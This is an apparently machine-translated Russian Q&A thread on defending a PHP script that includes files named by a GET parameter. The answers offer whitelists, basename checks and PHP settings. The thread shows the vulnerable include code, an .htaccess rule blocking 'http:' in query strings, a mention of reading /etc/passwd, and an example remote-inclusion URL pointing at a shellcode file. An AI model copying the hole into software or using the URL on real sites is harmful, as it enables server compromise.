2008-09-02 2 views
21

Мой сайт недавно был атакован, то, что казалось мне, как, невинный код:Лучший способ избежать внедрения кода в PHP

<?php 
    if (isset($ _GET['page'])) { 
    include($ _GET['page'] . ".php"); 
    } else { 
    include("home.php"); 
    } 
?> 

Там, где нет SQL звонки, так что я не боялся за SQL Injection , Но, судя по всему, SQL - это не единственный вид инъекции.

Этот сайт имеет объяснение и несколько примеров избежать инъекции кода: http://www.theserverpages.com/articles/webmasters/php/security/Code_Injection_Vulnerabilities_Explained.html

Как бы вы защитить этот код от инъекций кода?

ответ

39

Используйте белый список и убедитесь, что страница находится в белом списке:

$whitelist = array('home', 'page'); 

    if (in_array($_GET['page'], $whitelist)) { 
     include($_GET['page'].'.php'); 
    } else { 
     include('home.php'); 
    } 
+1

Если возможно, избегайте включения файлов динамически в целом. `include`, как вы уже испытали, почти так же опасен, как` eval`. – tdammers 2010-09-07 11:01:00

4

Я предполагаю, что вы имеете дело с файлами в том же каталоге:

<?php 
if (isset($_GET['page']) && !empty($_GET['page'])) { 
    $page = urldecode($_GET['page']); 
    $page = basename($page); 
    $file = dirname(__FILE__) . "/{$page}.php"; 
    if (!file_exists($file)) { 
    $file = dirname(__FILE__) . '/home.php'; 
    } 
} else { 
    $file = dirname(__FILE__) . '/home.php'; 
} 
include $file; 
?> 

Это не слишком красиво, но должно решить проблему.

+0

1. Вам не нужно `urldecode` $ _GET. PHP всегда расшифровывает его для вас. Вы должны четко указать, что «basename» является ключевым моментом в этом коде. Без него злоумышленник мог читать конфиденциальные файлы из родительских каталогов. – Kornel 2010-09-20 12:12:30

5

Правило №1 при принятии ввода пользователя всегда дезинфицирует его. Здесь вы не дезинфицируете свою переменную GET страницы, прежде чем передавать ее в include. Вы должны выполнить базовую проверку, чтобы убедиться, что файл существует на вашем сервере, прежде чем включать его.

+1

Это еще не решит атаку n = n! Чтобы дезинфицировать его, вы должны быть уверены, что вход является безопасным, разрешенным файлом. Достаточно только белого списка. – DGM 2009-05-05 15:30:26

14

Другим способом дезинфицировать ввод, чтобы убедиться, что только разрешенные символы (без «/», «,«»: ", ...). Однако не использовать черный список для плохих символов, а белый список разрешенных символов:

$page = preg_replace('[^a-zA-Z0-9]', '', $page); 

... а затем через file_exists.

Таким образом, вы можете убедиться, что выполняются только сценарии, которые вы хотите выполнить (например, это исключает «blabla.inc.php», потому что «.» Не разрешено).

Примечание: Это своего рода «взломать», потому что тогда пользователь мог бы выполнить «h.o.m.e», и он дал бы «домашнюю» страницу, потому что все, что он делает, - это удаление всех запрещенных символов. Он не предназначен для остановки «smartasses», которые хотят смириться с вашей страницей, но это остановит людей, делающих действительно плохо вещей.

КСТАТИ: Еще одна вещь, которую вы могли бы сделать в вас .htaccess файл, чтобы предотвратить очевидные попытки атаки:

RewriteEngine on 
RewriteCond %{QUERY_STRING} http[:%] [NC] 
RewriteRule .* /–http– [F,NC] 
RewriteRule http: /–http– [F,NC] 

Таким образом, все страницы обращается с «HTTP:» URL (и строки запроса) в результате сообщение об ошибке «Запрещено», даже не доходя до сценария php. Это приводит к меньшей нагрузке на сервер.

Однако имейте в виду, что в строке запроса не допускается «http». Ваш сайт может МОЖЕТЕ потребовать его в некоторых случаях (возможно, при заполнении формы).

BTW: Если вы можете читать немецкий язык: у меня также есть blog post по этой теме.

+0

Теперь я немного о файлах htaccess. У меня есть что-то подобное, для системы маршрутизации, которая может использовать специальные символы и пробелы. Не могли бы вы разместить несколько примеров запрещенного URL-адреса, заблокированных вашим конфигурационным файлом? Спасибо – 2009-07-23 22:03:54

3

pek, для краткосрочной фиксации применяется одно из решений, предлагаемое другими пользователями. Для среднесрочного и долгосрочного плана вы должны : рассмотреть возможность перехода на один из существующих веб-фреймворков.Они обрабатывают все низкоуровневые вещи, такие как включение маршрутизации и файлов, надежным, безопасным способом, поэтому вы можете сосредоточиться на основных функциях.

Не изобретайте велосипед. Используйте фреймворк. Любой из них лучше, чем никто. Первоначальное время инвестиций в обучение он платит почти мгновенно.

5

Pek, есть много вещей, о которых стоит беспокоиться о добавлении к sql-инъекции или даже о различных типах инъекций кода. Теперь может быть подходящее время, чтобы немного взглянуть на безопасность веб-приложений в целом.

Из предыдущего вопроса о moving from desktop to web development, я писал:

OWASP Guide to Building Secure Web Applications and Web Services должно быть обязательным чтением для любого веб-разработчика, который хочет серьезно относимся (который должен быть все веб-разработчиков). Есть много принципов, которые следует соблюдать, чтобы помочь с мышлением, необходимым при мысли о безопасности.

Если вы читаете большой толстый документ не для вас, посмотрите на видео семинара, который Майк Эндрюс дал в Google пару лет назад около How To Break Web Software.

1

Некоторые хорошие ответы до сих пор, также стоит отметить пару PHP особенностей:

Файл открытые функции использовать wrappers для поддержки различных протоколов. Это включает в себя возможность открывать файлы через локальную сеть Windows, HTTP и FTP, среди прочих. Таким образом, в конфигурации по умолчанию код в исходном вопросе может быть легко использован для открытия любого произвольного файла в Интернете и за его пределами; включая, конечно, все файлы на локальных дисках сервера (которые пользователь webbserver может прочитать). /etc/passwd всегда весело.

Безопасный режим и open_basedir могут использоваться для ограничения доступа к файлам за пределами определенного каталога.

Также полезно установить конфигурационный параметр allow_url_fopen, который может отключать доступ к файлам в Интернете при использовании открытых функций файла. ini-set может использоваться для установки и отмены этого значения во время выполнения.

Это все хорошие защитные ограждения, но используйте белый список для включения файлов.

0

@pek - Это не сработает, так как ваши ключи массива - 0 и 1, а не «home» и «page».

Этот код должен сделать трюк, я считаю:

<?php 

$whitelist = array(
    'home', 
    'page', 
); 

if(in_array($_GET['page'], $whitelist)) { 
    include($_GET['page'] . '.php'); 
} else { 
    include('home.php'); 
} 

?> 

Как у Вас есть белый список, не должно быть необходимости file_exists() либо.

1

Я знаю, что это очень старое сообщение, и я ожидаю, что вам больше не понадобится ответ, но я все еще пропущу очень важный аспект imho, и мне нравится делиться ими для других людей, читающих эту запись. В вашем коде для включения файла на основе значения переменной вы создаете прямую связь между значением поля и запрошенным результатом (страница становится page.php). Я думаю, что лучше избегать этого. Существует различие между запросом на какую-либо страницу и доставкой этой страницы. Если вы сделаете это различие, вы можете использовать хорошие URL-адреса, которые очень удобны для пользователей и SEO. Вместо значения поля, такого как «страница», вы можете сделать такой URL, как «Spinoza-Ethica».Это ключ в белом списке или первичный ключ в таблице из базы данных и возвращает твердокодированное имя файла или значение. У этого метода есть несколько преимуществ помимо обычного белого списка:

  1. Ответ задней стороны фактически не зависит от запроса переднего конца. Если вы хотите настроить свою заднюю систему по-разному, вам не нужно ничего менять на передней панели.

  2. Всегда удостоверяйтесь, что вы закончили с жестко закодированными именами файлов или эквивалентом из базы данных (предпочтительнее возвращаемое значение из хранимой процедуры), потому что он просит проблемы, когда вы используете информацию из запроса для создания ответа ,

  3. Поскольку ваши URL-адреса не зависят от доставки с обратной стороны, вам никогда не придется переписывать свои URL-адреса в файле htAccess для такого рода изменений.

  4. Представленные пользователю URL-адреса являются удобными для пользователя, информируя пользователя о содержании документа.

  5. Хорошие URL-адреса очень хороши для SEO, потому что поисковые системы находятся в поиске соответствующего контента, и когда ваш URL-адрес соответствует содержанию, он получит лучшую ставку. По крайней мере, лучше, чем когда ваш контент определенно не соответствует вашему контенту.

  6. Если вы не ссылаетесь непосредственно на файл php, вы можете перевести красивый URL-адрес в любой другой тип запроса перед его обработкой. Это дает программисту гораздо большую гибкость.

  7. Вам необходимо будет отладить запрос, потому что вы получите информацию из стандартного ненадежного источника (остальной части Интернета). Использование только хороших URL-адресов в качестве возможного ввода делает процесс очистки URL-адреса намного проще, потому что вы можете проверить, соответствует ли возвращенный URL вашему собственному формату. Убедитесь, что формат хороший URL не содержит символы, которые широко используются в подвигах. (Как»,", <,>, -, &,; и т.д ..)

0

Подумайте о URL является в этом формате:

www.yourwebsite.com/index.php?page= http://malicodes.com/shellcode.txt

Если shellcode.txt работает SQL или PHP инъекции, то ваш сайт будет в опасности, правильно ли думать об этом? , использование белого списка будет полезным.

Существует способ фильтрации всех переменных, чтобы избежать взлома. Вы можете использовать PHP IDS или OSE Security Suite, чтобы избежать взлома. После установки пакета безопасности, вам необходимо активировать пакет, вот гид:

http://www.opensource-excellence.com/shop/ose-security-suite/item/414.html

Я хотел бы предложить вам включить защиту уровня 2, то все POST и GET переменные будет отфильтрован особенно тем, которую я упоминается, и если есть атаки найдены, он сообщит вам немедленно/

Безопасность всегда приоритет

Смежные вопросы